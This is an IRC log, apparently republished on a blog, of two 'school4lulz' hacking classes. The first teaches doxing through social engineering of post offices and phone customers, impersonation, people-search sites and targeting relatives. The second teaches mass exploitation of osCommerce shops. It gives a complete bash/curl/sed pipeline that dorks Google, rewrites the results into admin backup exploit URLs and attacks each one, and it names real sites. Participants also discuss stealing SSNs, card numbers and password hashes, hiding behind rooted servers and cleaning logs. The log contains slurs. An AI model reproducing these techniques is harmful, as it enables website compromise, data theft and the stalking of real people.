<darkspline> torify, post office  
<torify> kk  
<nachash> They usually buck you  
<Circumvent> yeah, where can i send it is perfect  
<darkspline> nachash, i got PO so now u have my attention!!  
<nachash> But if you threaten to dump a 50 lbs box of frozen meat inside their post office and walk away, they usually shit an address.  
<darkspline> nachash, that sounds heavy though  
<JohmasTefferson> brilliant  
<nachash> It is.  
<nachash> But any real doxer is going to do this shit  
<nachash> This is why you don't re-use usernames.  
<nachash> You don't give away a lot of personal info.  
<darkspline> i'd rather send a certified letter and see how far they want to help confirm delivery  
<nachash> That can be traced back  
<nachash> Look at any piece of letter mail you get.  
<darkspline> nachash, to find a PO owner  
<nachash> See that orange-red shit near the stamp?  
<darkspline> delivery is not my issue  
<nachash> They have a scanner that tells where that came from  
<nachash> If it's a certified letter  
<darkspline> nachash, i got my own methods for delivery  
<nachash> They just put a piece of paper in the box  
<nachash> And make them go to the counter and sign for it  
<nachash> If you've got some other trickery, please, enlighten. This is what this channel is for  
<darkspline> if say you doctor a legal doc to a PO box...  
<Fox> Nachash  
<Fox> or someone  
<Fox> tweet me a log of this  
<nachash> I don't do twitter.  
<Fox> I have to go to the store and shit  
<Fox> cool?  
<Fox> nachash  
<nachash> Want me to put it on lolhackers?  
<Fox> then put it in topic  
<darkspline> Fox, be cool brother  
<nachash> I've got axx still  
<Fox> YES ON LOLHACKERS  
<Fox> 😊  
<nachash> Consider it done  
<Fox> k  
<Fox> bai guy  
<Fox> z  
<eni> i got ya fox  
<Fox> Night gents

<JohmasTefferson> nitefox  
\* Fox has quit (Quit: Textual IRC Client: <http://www.textualapp.com/>)  
<nachash> darkspline: They still put a piece of paper in the box, saying to go to the counter.  
<darkspline> l8r bro  
<Circumvent> cya  
<nachash> And you're back where you started.  
<nachash> It's best to social the post office  
<nachash> Let's discuss another trick  
<nachash> Socialing for unlisted numbers.  
<nachash> You have a number  
<nachash> But want a billing address.  
<darkspline> nachash, im just thinking how you can force them to release more info about a PO ident  
<nachash> What's an aspiring doxer to do?  
<nachash> Why, you call them up, of course.  
<nachash> I've seen this done.  
<nachash> Though never did it myself  
<nachash> I heard it on speaker one night  
<nachash> You call your mark up  
<nachash> And be like, "Yes, I'm so and so from Atlantic Bell. I'm calling to verify some time and charges to Boston."  
<nachash> They freak the fuck out every time.  
<nachash> "Ok, well give me your info so I can verify who you are, and I'll clean these charges cleaned right up."  
<nachash> The idea is to pose as someone with some authority.  
<nachash> And scare the piss out of them.  
<nachash> Note that it wasn't really Atlantic Bell. The real company was called Bell Atlantic, and hasn't existed for a while  
<nachash> But that's ok.  
<nachash> You want something that sounds close, but not quite.  
<JohmasTefferson> why not quite?  
<nachash> The theory is that if you ever get v&, you weren't posing as someone from a real phone company, so the charges against you will be fewer  
<Circumvent> why not straight up impersonate?  
<JohmasTefferson> wouldn't you want to be as authentic as possible?  
<Circumvent> i see  
<nachash> That's your risk to take, if you want to go that far.  
<nachash> An easy one is to claim to be from United Package Service.  
<nachash> The real company is United Parcel Service  
<nachash> Anyway, this is going too far into socialing bitches.  
<nachash> Let's focus on sites for a bit  
<nachash> I think you guys have the idea.  
<nachash> You get all the info you can, from googling, talking up your mark, etc.  
<nachash> Every time you get a new piece of info, you want to search with it on a variety of sites.  
<nachash> pipl.com is a good start.  
<nachash> They let you search usernames and e-mail addresses.  
<nachash> knowem.com and checkusername.com are also handy some times.  
<JohmasTefferson> what's the best way to organize the data  
<JohmasTefferson> i assume there will be redundancies  
<nachash> I prefer just dumping it in textfiles.  
<nachash> With links to sources at the bottom.  
<nachash> Let me pull up some work I did.  
<nachash> <http://pastebin.com/4jvd02As>  
<nachash> Some of those people didn't have personal websites or anything  
<nachash> the ones who did, got their links dumped  
<nachash> That's roughly how I like to organize things.  
<nachash> You may have a more logical approach to it.  
<nachash> I started with a link to an old wikipedia article on archive.org  
<nachash> And got all that info from a list of names.  
<nachash> No contact, though.  
<nachash> Check every scrap of data you get in as many ways as you can.  
<nachash> [http://encyclopediadramatica.ch/Dox#Stalker.27s\\_Resources](http://encyclopediadramatica.ch/Dox#Stalker.27s_Resources)  
<nachash> That's a good list of sites to grind info through.  
<nachash> Some of them are shit, though.  
<nachash> Zabasearch, for example.  
<nachash> Too much noise.  
<Fenrisz> linked in thoughts  
<nachash> LinkedIn is great for finding info  
<nachash> Especially on professionals  
<nachash> (Think whitehats)  
<nachash> Or any type of business person  
<nachash> They put their resume, colleges, everything down  
<nachash> The guy who ran the DoxInYourMom twitter account (May it rest in peace) turned me on to veromi.com  
<nachash> It looks like its paid searches would be a waste of money  
<nachash> Even at \$15 for an unlimited 24 hour subscription  
<nachash> But its real power is in finding the names of family members.  
<nachash> With some people, you have to cast a wide net.  
<nachash> Look at the family, in order to find them  
<nachash> Hell, if they fucked up badly enough, include their family in the doxing.

<nachash> This is especially useful if you stalk via facebook/myspace/etc  
 <nachash> In the good old days, it was nothing to go to someone's myspace, click around on their friends, and find where they had posted their cellphone number for all to see.  
 <eax> +o  
 \* nachash gives channel operator status to eax  
 <nachash> I've seen you with ops before  
 <nachash> So I know I didn't just fuck up  
 <nachash> Does anyone have any questions?  
 <curi0us> veromi is down btw  
 <curi0us> that was pretty thorough tho  
 <curi0us> i just need targets to practice on now  
 <nachash> There's a lot more I could get into.  
 <curi0us> im listening  
 <nachash> I've been working on a guide that will make a lot of people shit bricks  
 <nachash> But I don't know how much fox wants to hold back for the advanced classes.  
 <nachash> If you want to play around, just go to that ED link I gave, and start messing with those sites.  
 <curi0us> wanna talk about SE wit ISP or phone companies?  
 <Circumvent> how does one enrol  
 <nachash> Circumvent, I don't know  
 <curi0us> email em  
 <nachash> curi0us, that's one subject I'd have to hand off to someone else.  
 <JohmasTefferson> there was an email address posted days ago  
 <JohmasTefferson> I missed it though :/  
 <curi0us> i can get it for u  
 <curi0us> one sec  
 <Circumvent> tyvm  
 <curi0us> school4lulz@hushmail.com  
 <Circumvent> ty  
 <nachash> Ok, guys.  
 <nachash> I'm going to run.  
 <curi0us> make sure to add your SS number and any current CC numbers just to verify  
 <curi0us> 😊  
 <eni> thanks nachash  
 <curi0us> thanks man  
 <nachash> I guess for the sake of the logs, class is over.

## Mass Exploitation

Posted by nachash on June 22, 2011

None comments

?Mass Exploitation – School4lulz—————

<Fox> Ok  
 <Fox> Impromptu class  
 <Savitri> on "leveraging bash to mass exploit"  
 <Fox> I'm at a beach right now  
 <Fox> Literally  
 <Fox> on the sand.  
 <Fox> And we're about to have a motherfucking class.  
 <prophet> haha ballin  
 <Shock> are there rj45's in the sand to connect to?  
 <Shock> 😊  
 <yngjungian> nice  
 <Fox> Nope but there is an iphone and bluetooth and 3g.  
 <Shock> lul  
 <xochipilli> thxu Fox  
 \* Fox gives channel operator status to Fox  
 <Fox> Hmm  
 <In4TehLulz> log this. wont be here  
 <Fox> Savitri eax xochipilli what you think about mass exploitation?  
 <prophet> Ill log  
 <Fox> How you all think?  
 <Fox> Hmm  
 <Fox> CLASS!?  
 <xochipilli> haha  
 <xochipilli> its good if u got good sploitz  
 <xochipilli> lol  
 <Savitri> Fox: I'm for it, when it comes to google  
 <Savitri> or mining resources in SupCom  
 <xochipilli> otherwise  
 <xochipilli> youll get sloppy seconds  
 <xochipilli> on a bunch of shit thats been owned a dozen times before  
 <Savitri> I'm doing that exactly right now  
 <Fox> Sloppy seconds are better than NOTHING.  
 <xochipilli> if u got something fresh  
 <xochipilli> good dorks, or a new exploit



```

<xochipilli> is gud
<xochipilli> well true
<xochipilli> depends what youre doin
<Fox> :3
<Savitri> writing bash/curl code to search for a particular exploit
<Savitri> scrapping Google
<f3ckt4rd> autopwn?
<xochipilli> dorkin
<Savitri> (scroogle tbh)
<xochipilli> i have some perl to do that somewhere Savitri
* Baconboy has quit (Quit: )
* In4TehLulz has quit (Quit: )
<_0xE9> santrex
<_0xE9> LOL
<Fox> Werd
<Savitri> well, bash, sed, curl, grep, that's about it
<Savitri> derp
<Savitri> Site attempt: http://www.customcrops.com//admin/backup.php/login.php?action=backup
<Savitri> Site attempt: http://www.dharma.net/monstore//admin/backup.php/login.php?action=backup
<Savitri> Site attempt: http://www.dionysusdesign.com//admin/backup.php/login.php?action=backup
<Savitri> Site attempt: http://www.discountjeepparts.com//admin/backup.php/login.php?action=backup
<Savitri> Site attempt: http://www.divinecactus.com//admin/backup.php/login.php?action=backup
<Savitri> such things
<xochipilli> yeah
<xochipilli> i dig it
<xochipilli> now u jus need some code to attack those urls 😊
* MashHaxx (Mash@EDJOOKASHUNYAY-67F2B62C.customers.ownit.se) has joined #school4lulz
<Vey> not so fast pls 😊
<Fox> _0xE9
<Fox> Cheap and cardeddddd
<Fox> 😊
<_0xE9> lol
<Fox> Laright
<Fox> alright
<Fox> hold up
<Savitri> so, basically, the idea is 10% or so of websites makers are MORONS
<_0xE9> santrax is like worst shit ever lol
<Savitri> and will keep the default layout, and such
<Fox> STOP.
<Fox> lol
<_0xE9> santrex*
<Fox> Stop.
<Fox> stop.
<Savitri> let's +m
* Savitri sets mode +m #school4lulz
<Fox> Ok.
<Fox> Kids
* _Mash_ (Mash@EDJOOKASHUNYAY-67F2B62C.customers.ownit.se) has joined #school4lulz
<Fox> as always, message someone not talking for voice.
<Fox> If you are going to say something
<Fox> if it's dumb, I will fistfuck you.
* xochipilli takes out his penis
<Fox> Now todays topic
<Fox> is mass exploitation.
<Fox> Anyways
* Mash has quit (NickServ (GHOST command used by _Mash_))
<Fox> You dont ever
* _Mash_ is now known as Mash
<Fox> EVER want to go and compromise every box you have in your aresenal
<Fox> and naturally
<Fox> hackers are lazy people.
* Savitri gives voice to _0xE9
<Fox> We like to roller blade
<xochipilli> LOL
<Fox> and do all sorts of drugs
* Savitri_ (savitri@BE32C070.23C45F78.E87C2A3A.IP) has joined #school4lulz
* fitk has quit (Connection reset by peer)
<Fox> and read the devil book
<Fox> obviously.
<Fox> So, we automate.
<Fox> Today your teachers will be xochipilli, Savitri, and myself.
<Fox> Now, the purpose of this class
<Fox> is to give you the mindset, and necessary knowledge in order to take an exploit that you have
either developed, or has been released with a large AoE
<Fox> or area of effect.
<Fox> Regardless of what anyone says about using other peoples exploits, exploitation is exploitation,

```

root is root, power is power. Don't be a faggot and always use pre-made though

<Fox> It's kind of like food.

<Fox> Yeah, premade hashbrowns and microwave bacon are easy

<xochipilli> mass exploitation makes sure u have time for roller blades and drugs :3

<Savitri> so we won't want to manually search for stupid exploits in sites

<Savitri> basically, what I like to do is identify a vulnerable pattern, like the yelled at "page=about.php"

\* Savitri has quit (Quit: Reconnecting)

<Fox> but if you can't make your own breakfast, you're a sad fuck.

\* Savitri\_ is now known as Savitri

<Fox> Savitri, take it away

\* Savitri (savitri@BE32C070.23C45F78.E87C2A3A.IP) has left #school4lulz

<xochipilli> dammit savitri

<xochipilli> lol

\* Savitri (savitri@BE32C070.23C45F78.E87C2A3A.IP) has joined #school4lulz

\* Savitri (savitri@BE32C070.23C45F78.E87C2A3A.IP) has left #school4lulz

\* Savitri (savitri@BE32C070.23C45F78.E87C2A3A.IP) has joined #school4lulz

\* ChanServ gives channel operator status to Savitri

<Savitri> k

<Savitri> sorry, network outage

<Savitri> so you got my last message?

<Savitri> Fox, you wanted to lemme talk?

<xochipilli> well we started to talk about dorking, should we start w/ that?

<Fox> Yes.

<Fox> remember guys... basic to advanced.

<xochipilli> so basically, if you've got a web based exploit

<Fox> ☺

<Fox> IE: RFI, SQLi, et cetera

<xochipilli> how would u best deploy this, on a broad scale?

<xochipilli> esp considering

<xochipilli> were you to port scan for port 80

<xochipilli> you have chosts to worry about

<xochipilli> vhosts\*

<xochipilli> makes that pretty much useless

<xochipilli> considering most stuff is hosting on shared hosting using vhosts

<Savitri> well, you do scrap Google

<xochipilli> whyu not another search engine?

<xochipilli> ☺

<Savitri> 'cause Google has scroogle

\* ponies (chatzilla@EDJOOKASHUNYAY-949EB453.privacyfoundation.de) has joined #school4lulz

\* ponies (chatzilla@EDJOOKASHUNYAY-949EB453.privacyfoundation.de) has left #school4lulz

<Savitri> which is like parse-me-in-a-line.com

<xochipilli> i didnt realize that was still up

\* ponies (chatzilla@EDJOOKASHUNYAY-949EB453.privacyfoundation.de) has joined #school4lulz

<xochipilli> there are decent libraries

<xochipilli> for scarping google

<xochipilli> scrpaing\*

<Savitri> scrapping

<xochipilli> scraping\*\*

<xochipilli> its hard, but it can be done

<xochipilli> so, its easy to scrape w/ scroogle

<xochipilli> and

<xochipilli> google provides some really nice functionality

<xochipilli> for fine tuning your searches

<xochipilli> and, its the biggest/best

<xochipilli> youll get the most comprehensive results from google

<xochipilli> most likely

<Savitri> yup, plus you can specify interesting parameters, like inurl

\* fitk (fitk@152183DB.A1FCF178.30A70C0.IP) has joined #school4lulz

<Savitri> suppose you target new zealand based websites for some purpose

<xochipilli> yeah

<Savitri> (harvesting data for spam, like)

<Savitri> allinurl:.com.nz yourdorking

<xochipilli> or filetype:php

<Savitri> this gives a pretty decent and simple action

<xochipilli> if youre looking for a sploit specific to php

<Savitri> one thing that's missing is regex

<xochipilli> or even if youre lookin for some interesting documents, filetype:pdf

<xochipilli> youd be amazed what you can find on public html servers

<xochipilli> if u dig around

<Savitri> but you can scrap massively, and then do regexp

<xochipilli> tax returns w/ full SSN

<xochipilli> etc

<Savitri> yeah, I doxed many US people like this

<xochipilli> never underestimate how fucking stupid people are

<Savitri> got their SSN, name, address

<Fox> Alright guys

\* Blue (Blue@EDJOOKASHUNYAY-4E876EF8.rstr.qwest.net) has joined #school4lulz

```

<Fox> you good?
* Fox gives channel operator status to xochipilli
<Savitri> all goodz
* figgybit (root@EDJOOKASHUNYAY-599E14F4.formlessnetworking.net) has joined #school4lulz
<Fox> Alright cool
<Fox> brb
<Fox> more rum
<Fox> walking up to the house
* Blue has quit (Quit: Leaving)
<Savitri> ok
<Savitri> so people
<Savitri> for that kind of tasts
<Savitri> task
<Savitri> you want an Unix
<Savitri> Linux proly
<Savitri> ok
<Savitri> the channel is +m so you won't answer much :p
* Savitri gives voice to _0xE9
<Savitri> tools, tools
* zoon (root@EDJOOKASHUNYAY-F9882A47.torservers.net) has joined #school4lulz
<Savitri> check scroogle for your beginning
<Savitri> scroogle allows you to scrape like 250/300 results
<xochipilli> o gud
<Savitri> so, for this, you'll need curl, bash, and minimal knowledge of regex
<xochipilli> we're back
<Savitri> yes we are
<xochipilli> what was i sayin?
<Savitri> dunno
<Savitri> i got ddos
<Savitri> can't tell you
<xochipilli> neither do i
<xochipilli> nah
<xochipilli> i got dropped too
<Savitri> that's becuae you're drunk
<xochipilli> it wasnt ddos
<xochipilli> am not
<Savitri> ok
<xochipilli> my memory is permanantly bad
<Savitri> that's because you're with low memory
<Savitri> you're swapping
<xochipilli> am
<xochipilli> lol
<xochipilli> <3
<Savitri> :3
<xochipilli> so yeah
<xochipilli> is that dork
<xochipilli> u showed earlier
<Savitri> so yeah ,bash, curl, grep, sed
<xochipilli> an lfi?
<xochipilli> was the last thing i said
<Savitri> no, it's a backup rape technique
<Savitri> to get databases
<Savitri> i did that so I could get aussie e-mail addresses
<Savitri> and password hashes hopefully
<Savitri> and CCN
<Savitri> and all I could
<Savitri> wasn't so succesful because the exploit I used is not so common nowadays
<Savitri> it's present in OSC 2.2rc2
<xochipilli> ah
<Savitri> PROTIP: dorking isn't an exploit. dorking will give you targets but you still have to shoot
<xochipilli> ^
<xochipilli> so
<xochipilli> what would
<xochipilli> an exploit look like
<xochipilli> for that vuln you mentioned?
<xochipilli> the url
<xochipilli> so we can see it next to the dork?
<Savitri> mm, it's based on some PHP script_name weakness
<Savitri> the idea is to make osc think we're on login page while we aren't
<Savitri> it's in OSC's backoffice so it won't be indexed
<xochipilli> hmm we should use a simpler exploit
<xochipilli> to explain this
<xochipilli> it can be fictional
<xochipilli> idc
<Savitri> it's really the simplest
<xochipilli> ah
<Savitri> lemme proceed 🤔
<xochipilli> ok
<Savitri> so, first target, default OSC installs, which will have the admin folder as /admin

```

```

* xi (reza@F03BB204.144DEF32.8187144B.IP) has joined #school4lulz
<Savitri> and the shop not url rewritten
<Savitri> a typical url will contain cPath (category path)
<Savitri> so what do we do?
<Savitri> inallurl:index.php?cPath
<Savitri> will be fair enough
<Savitri> do it manually, come on, go Google
<Savitri> s/inallurl/allinurl/g
<xochipilli> i think jus inurl:
<xochipilli> works
<xochipilli> i could be wrong
<Savitri> google will yell at you cause you're a nasty exploiter
<_0xE9> What's difference?
<Savitri> works too
* Fox has quit (Ping timeout)
<Savitri> Google to find the difference
<Savitri> as a matter of habit I use allinurl
<Savitri> so, we find default systems
<Savitri> even _more_ default systems is with /catalog as the shop address
<Savitri> so
<Savitri> allinurl:"index.php?cPath" inurl:"/catalog"
<Savitri> we get a list of addresses
<Savitri> let's automate this now
<Savitri> scroogle's your friend, really
* In4TehLulz (In4TehLulz@F1274BD2.55401656.EFE09413.IP) has joined #school4lulz
<Savitri> curl http://www.scroogle.org/cgi-bin/nbbw.cgi -d "Gw=allinurl:%22index.php?cPath
%22%20inurl:%22/catalog%22&n=1"
<Savitri> check this shit out, see what it's like
* i0dic (AndChat@EDJ0OKASHUNYAY-EC718E11.tor servers.net) has joined #school4lulz
<Savitri> you will see 100 lines numbered
<Savitri> with curl http://www.scroogle.org/cgi-bin/nbbw.cgi -d "Gw=allinurl:%22index.php?cPath
%22%20inurl:%22/catalog%22&n=1" | grep ^[0-9]
<Savitri> so you want to grep these 100 numbered lines
<Savitri> pretty simple, they start with numbers
<Savitri> with curl http://www.scroogle.org/cgi-bin/nbbw.cgi -d "Gw=allinurl:%22index.php?cPath
%22%20inurl:%22/catalog%22&n=1" | grep ^[0-9]
<Savitri> note that i'd, for scraping, first output to a "buffer" file
<Savitri> so
<Savitri> with curl http://www.scroogle.org/cgi-bin/nbbw.cgi -d "Gw=allinurl:%22index.php?cPath
%22%20inurl:%22/catalog%22&n=1" > mybuf
<Savitri> cat mybuf | grep ^[0-9]
<Savitri> this would allow problems like... mmm... getting banned for hammering
<Savitri> ok, now we get things like
<Savitri> 98. <a href="http://www.switchvox.com/catalog/index.php?cPath=22">Subscriptions /
Maintenance – Switchvox</a>
<Savitri> 99. <a href="http://www.texasboars.com/catalog/index.php?cPath=21">TEXASBOARS</a>
<Savitri> there comes the magic of cut
<Savitri> tool for lazy people f0sha
<Savitri> cat buf | grep ^[0-9] | cut -d\" -f2
<Savitri> and there, you get
<Savitri> http://www.switchvox.com/catalog/index.php?cPath=22
<Savitri> http://www.texasboars.com/catalog/index.php?cPath=21
<Savitri> this will get yo ufar
<Savitri> but this ain't the exploit URL
<xochipilli> basically u just found a big list
<Savitri> so we transform again.
<xochipilli> of potentially vulnerable sites
<xochipilli> attack vectors
<Savitri> Yup
<Savitri> now 'ill test 'em
<xochipilli> now u gotta attack them
<Savitri> for my attack vector
<xochipilli> u can do this automatically
<Savitri> yup
<xochipilli> usually
<xochipilli> if youre clever
<Savitri> noway I'll edit a file by hand
<Savitri> yes
<Savitri> here, it's purely GET based
<xochipilli> curl -d
<xochipilli> lets u send post params
<Savitri> yup
<xochipilli> curl = good tool
<Savitri> but here we won't need it
<xochipilli> everyone install curl
<xochipilli> ifu havent already
<xochipilli> if youre doin any kind of web exploitation
<xochipilli> you NEED CURL
<Savitri> that's your swiss army knife

```

```

<Savitri> so, let's finish on that example
<Savitri> REGEX
<Savitri> you need to know that
<Savitri> if you don't, you're useless as an exploiter
<Savitri> cat buf | grep ^[0-9] | cut -d\" -f2 gives us plain URLs. Let's change them
* hitler (jimmy@AAA3E89C.651411DE.4FBF9C32.IP) has joined #school4lulz
<Savitri> we assume that these default installs will have admin folder named "admin"
<Savitri> we won't engage in brute force to find it, though we could
<Savitri> cat buf | grep ^[0-9] | cut -d\" -f2 | sed 's@index.php.*@admin/backup.php
/login.php?action=backup@g'
<Savitri> OMG
<Savitri> 100 url to exploits
<Savitri> you redirect that to a file fofsha
<Savitri> and now, fun
<Savitri> you'll curl all these urls
<Savitri> I assume you called your file atklist
<Savitri> so you do
<xochipilli> that's rly all there is to it
<xochipilli> at least for dorking/web exploits
<Savitri> > log; cat atklist | while read line; do echo -n \".\"; echo "Attempting attack on $line" >> log;
curl $line > buf; cat buf >> log; echo "Done for $line" >> log; done
<xochipilli> dammit whered fox run off too
<Savitri> there's not much to know
<Savitri> more than that
<Savitri> well, sometimes it's more subtle
<Savitri> like some vbulletin sql exploits
<Savitri> but dorking can ease your life
<Savitri> next step is writing a dorking automation script
<Savitri> that you'll configure
<Savitri> and let work for you
<xochipilli> :3
<xochipilli> i mean you can take
<xochipilli> the bash
<Savitri> you can grep for strings to identify if there was success
<xochipilli> Savitri
<xochipilli> has been showin u guys
<xochipilli> adapt that into a simple script
<Savitri> variant of this exploit
<Savitri> have fun
<Savitri> http://www.mixmasters.com.au/catalog/admin/file_manager.php/login.php
<Savitri> I guess we can now go to questions
<Savitri> ok xochipilli?
<Savitri> (-m?)
<Savitri> xochipilli: Fox is gone for binge drinking
<Savitri> there's rum at his place
<Savitri> place
* Savitri sets mode -m #school4lulz
<Savitri> k guise u may speak
<FlyingDildo> Question: say you found a BoF in a piece of web facing software. wat do?
<prophet> that particular vector has an LFI vulnerability?
<xochipilli> nah
<xochipilli> i just used that as an example of a web based exploit
<xochipilli> that one might dork for
<Savitri> the variant I showed has a LFI vuln, yes
<Savitri> though it won't be 100% reliable
<xochipilli> FlyingDildo: you could use the procedure he described
<Savitri> depends on many parameters
<xochipilli> the difference would be
<Savitri> who he?
<xochipilli> in the exploitation step
<Savitri> <- she
<f3ckt4rd> does the above example tie into tge sqlmap proccess?
<xochipilli> she
<xochipilli> sry
<xochipilli> :3
* Savitri exploits xochipilli
<Savitri> lemme show everybody your cam$
<xochipilli> f3ckt4rd: if its a sql injection, you could yes
<FlyingDildo> do post his cam.
<FlyingDildo> lulz.
<Savitri> ah, yeah, sql i
<f3ckt4rd> what was the above?
<Savitri> we could have covered this
<Savitri> but that's another topic of mass exploiting
<i0dic> Cover it now
<_0xE9> ^
<Savitri> you can have any number of rows in a select
<Savitri> you don't necessarily want to test all that by hand
<_0xE9> I need to refresh my SQLI skills

```

<Savitri> when messing with your Union  
 <f3ckt4rd> what do you guys make of metasploit autopen?  
 <Savitri> so when you've found a vuln in a SQLi  
 <Savitri> I didn't take time to dig into it  
 <Savitri> I'  
 <Savitri> I'm sorta "traditional" and nostalgic  
 <Savitri> i like to use tools I know  
 <Savitri> I don't like to use J. Random Hacker's exploits  
 <xochipilli> you cant necessarily have any number of rows in a union select  
 <Savitri> xochipilli: I mean cols  
 <xochipilli> it has to return the same # as the original query  
 <xochipilli> o  
 <xochipilli> ok  
 <f3ckt4rd> is sqlmap defacto?  
 <Savitri> you can have a very variable number of cols  
 <xochipilli> yeah  
 <Savitri> so if you are to try to find that number  
 <Savitri> automate it  
 <xochipilli> wel wait no, doesnt it have to match the orig query?  
 <Savitri> with string generation algs  
 <xochipilli> cant return more cols than the query  
 <xochipilli> till shit brix  
 <Savitri> yup xochipilli  
 <Savitri> that's why  
 <xochipilli> itll\*  
 <xochipilli> kk  
 <xochipilli> jus clarifyin  
 <Savitri> we automate that  
 <xochipilli> oh yeah  
 <Savitri> using bash, or perl, or ruby  
 <xochipilli> fairly simple  
 <Savitri> 'cause we're lazy  
 <Savitri> see, oscommerce for example  
 <xochipilli> is sqlmap totally blind? or does it support union?  
 <Savitri> can have like 40 rows selected  
 <xochipilli> i havent played w/ it much  
 <Savitri> sqlmap= ?  
 <Savitri> I know the development technique using xml sql maps  
 <Savitri> but no tools  
 <f3ckt4rd> what do you use  
 <Savitri> ok, <http://sqlmap.sourceforge.net/>  
 <Savitri> my brain, and my computer, basically  
 <FlyingDildo> for gentoo: emerge sqlmap  
 <Savitri> (curl, wget, lynx, scratch hea)  
 <Savitri> d)  
 <Savitri> (and ruby)  
 <Savitri> I mean, if you guys are to learn for real  
 <Savitri> you just can't get all pre-baked recipe  
 <Savitri> s  
 <Savitri> and apply them  
 <f3ckt4rd> is tor enough or is there anything better  
 <Savitri> you're not LOIC whores.  
 <Savitri> VPN, VPN  
 <Savitri> i urge you to read my tut  
 <Savitri> posted on twitter  
 <f3ckt4rd> where from?  
 <xochipilli> tor is slow  
 <Savitri> twitter.com/SavitriVonH4x  
 <xochipilli> and if youre scraping google directly  
 <xochipilli> it will cause issues  
 <xochipilli> setup a proxy if possible  
 <xochipilli> imo  
 <xochipilli> root smth, kill the logs, setup proxy  
 <Savitri> tor is slow, tor is owned by NSA, tor is good for evading IRC bans, not for exploiting websites  
 <xochipilli> chain them if youre really noid  
 <Savitri> a daisy chain of VPN and rooted  
 <Savitri> is fair enough  
 <xochipilli> iono about the NSA part 😊  
 <xochipilli> but the rest yeah  
 <f3ckt4rd> who for vpn  
 <FlyingDildo> scraping will always cause issues. wat do with captchas?  
 <xochipilli> throttle  
 <Savitri> whoever you can put your trust in  
 <Savitri> swissvpn?  
 <xochipilli> there are good libraries out there to scrape google  
 <xochipilli> if u dig around  
 <Savitri> I wrote one for php  
 <xochipilli> Savitri: hann loved them heh...  
 \* EFG (Fagington@D9BA6BA7.5E512502.C8320787.IP) has joined #school4lulz

```

<xochipilli> sup EFG
<EFG> nm u
<xochipilli> so yeah, proxy > tor
<xochipilli> in this case
<xochipilli> answerin questions
<xochipilli> shhh
<xochipilli> 😊
<xochipilli> or vpn
<xochipilli> or whatever
<prophet> whats stops law enforcement from requesting the vpn logs to find you
<xochipilli> hosted in a diff country
<Savitri> the non-existence of logs
<Savitri> or the difference of country
<Savitri> play with jurisdictions 😊
<prophet> are all vpns non-logged?
<xochipilli> doin shit in another country makes a world of difference
<Savitri> In4TehLulz had the idea
<xochipilli> believe it or not
<FlyingDildo> basically usa->china->russia.
<xochipilli> in terms of LE
<xochipilli> it makes their life SUPER hard
<Savitri> root a chinese box
<Savitri> get a russian VPN
<xochipilli> ^
<Savitri> chain it to a US proxy
<Savitri> :p
<EFG> i have a serbian VPN
<prophet> haha I like that idea
<EFG> safe enough?
<FlyingDildo> and good luck to LE getting the logs from a chinese server.
<f3ckt4rd> Where can i buy a botnet
<Savitri> yeah EFG, ruined country
<xochipilli> and if its a root
<xochipilli> u kill those logs
<xochipilli> hard
<Savitri> but it may be owned by the CIA thoug
<xochipilli> run a log cleaner
<xochipilli> rootkit it if u want, im not a fan of kits tho
<xochipilli> just breaks shit, and then people notice
<prophet> suggestion of a log cleaner?
<FlyingDildo> shred
<In4TehLulz> So who logged the channel? I needs to see.
<xochipilli> ive got one, iono if its priv8 or wat
<Savitri> I have logs In4TehLulz
<In4TehLulz> the class I mean.
<xochipilli> ill see if its ok to release it to u guys
<prophet> i know the typical places logs could be
<prophet> but never can be too sure
<xochipilli> you know
<In4TehLulz> great. pastebin?
<xochipilli> we could do a talk on cleanin logs
<Savitri> not poss for now
<prophet> would be better to automate with something like that
<xochipilli> etc
<xochipilli> what do u think, Savitri?
<xochipilli> how to cover your tracks
<Savitri> automating log cleaning,no way prophet, this would be as stealth as a caterpillar... bulldozer
<f3ckt4rd> perl -pi -e
<Savitri> xochipilli: yup, would be good
<Savitri> basically grep
<prophet> hmm, good point
<Savitri> and sed
<xochipilli> Savitri: ive got a good automated log cleaner
<_0xE9> I like the idea of how to cover tracks lesson
<f3ckt4rd> easy as -pi -e
<xochipilli> its not too heavy handed imo
<Savitri> xochipilli: yup, as long as it leaves the usual garbage
<xochipilli> ofc
<xochipilli> any good one would
<xochipilli> cant just rm the logs
<xochipilli> :3
<Savitri> I tend to grep out only my own crap
<Savitri> gotta say I'm a sysadmin
<xochipilli> yeah exactly
<Savitri> and sometimes use my customers' rigs as bouncing points
<In4TehLulz> lol
<xochipilli> heh
<In4TehLulz> So savi. how you doing?

```

<xochipilli> remind me not to be your customer 😊

<Savitri> is ok, In4TehLulz, aap? :p

<Savitri> xochipilli: well, I do no evil to them 😊

<FlyingDildo> Savi: i do that too, unfortunately all my customers are chinese.

<xochipilli> ino im jk

<xochipilli> i remember that guy on the btc forums

<xochipilli> who said he was using his whole server farm

<xochipilli> to mine btc

<xochipilli> like customer boxes

<Savitri> hahaha

<Savitri> well

<hitler> lawl

<In4TehLulz> Mai tho theek hoon. 😊 GET ON MY LEVEL IN HINDI! lol

<Savitri> hahahaha 😊

<\_0xE9> I remember when I rooted one of these hosting companies that run bulletproof hosting especially for hackforums.net

<\_0xE9> was a fucking gold mine

<Savitri> ??? ?????

<xochipilli> o god

<Savitri> :p

<xochipilli> hackforums.net

<In4TehLulz> BAHAAAAHA

<xochipilli> 😊

<In4TehLulz> nice

<\_0xE9> all these dumb skids hosting all their crap

<\_0xE9> on this 1 box

<In4TehLulz> where'd you get that font?

<In4TehLulz> how is a better question.

<Savitri> it's google IME

<Savitri> for hindi

<In4TehLulz> ah

<Savitri> got the same for bengali

<f3ckt4rd> whats usual vector for ssh access after ypur above sql?

<In4TehLulz> I know about it... yeah

<\_0xE9> backconnect

<xochipilli> depends on the sql server

<Savitri> an ex-bf is from bangladesh, so

<In4TehLulz> lol

<Savitri> ssh access, sql?

<Savitri> well, mm

<xochipilli> and the app its powering

<xochipilli> its doable

<xochipilli> not always

<Savitri> "PASSWORD REUSE" 😊

<xochipilli> you can spawn proces

<Savitri> oh btw

<xochipilli> w/ MSSQL

<xochipilli> sometimes

<Savitri> yeah

<xochipilli> add yourself a user and rdp in

<Savitri> see mssql market share

<In4TehLulz> wow Savi.. did not see a Bangadeshi ex-bf coming XD

<Savitri> well is ok

<Savitri> hindu bang, like "we're victims" all day long

<xochipilli> lol

<Savitri> crap to that, you got an indian passport as all of them, dude, move away!

\* ponies\_ (chatzilla@EDJOOKASHUNYAY-C209BEDB.kromyon.net) has joined #school4lulz

<f3ckt4rd> will you guys bother doig tuts involvong nmap on non web ports?

<Savitri> and vote BJP

<In4TehLulz> haha

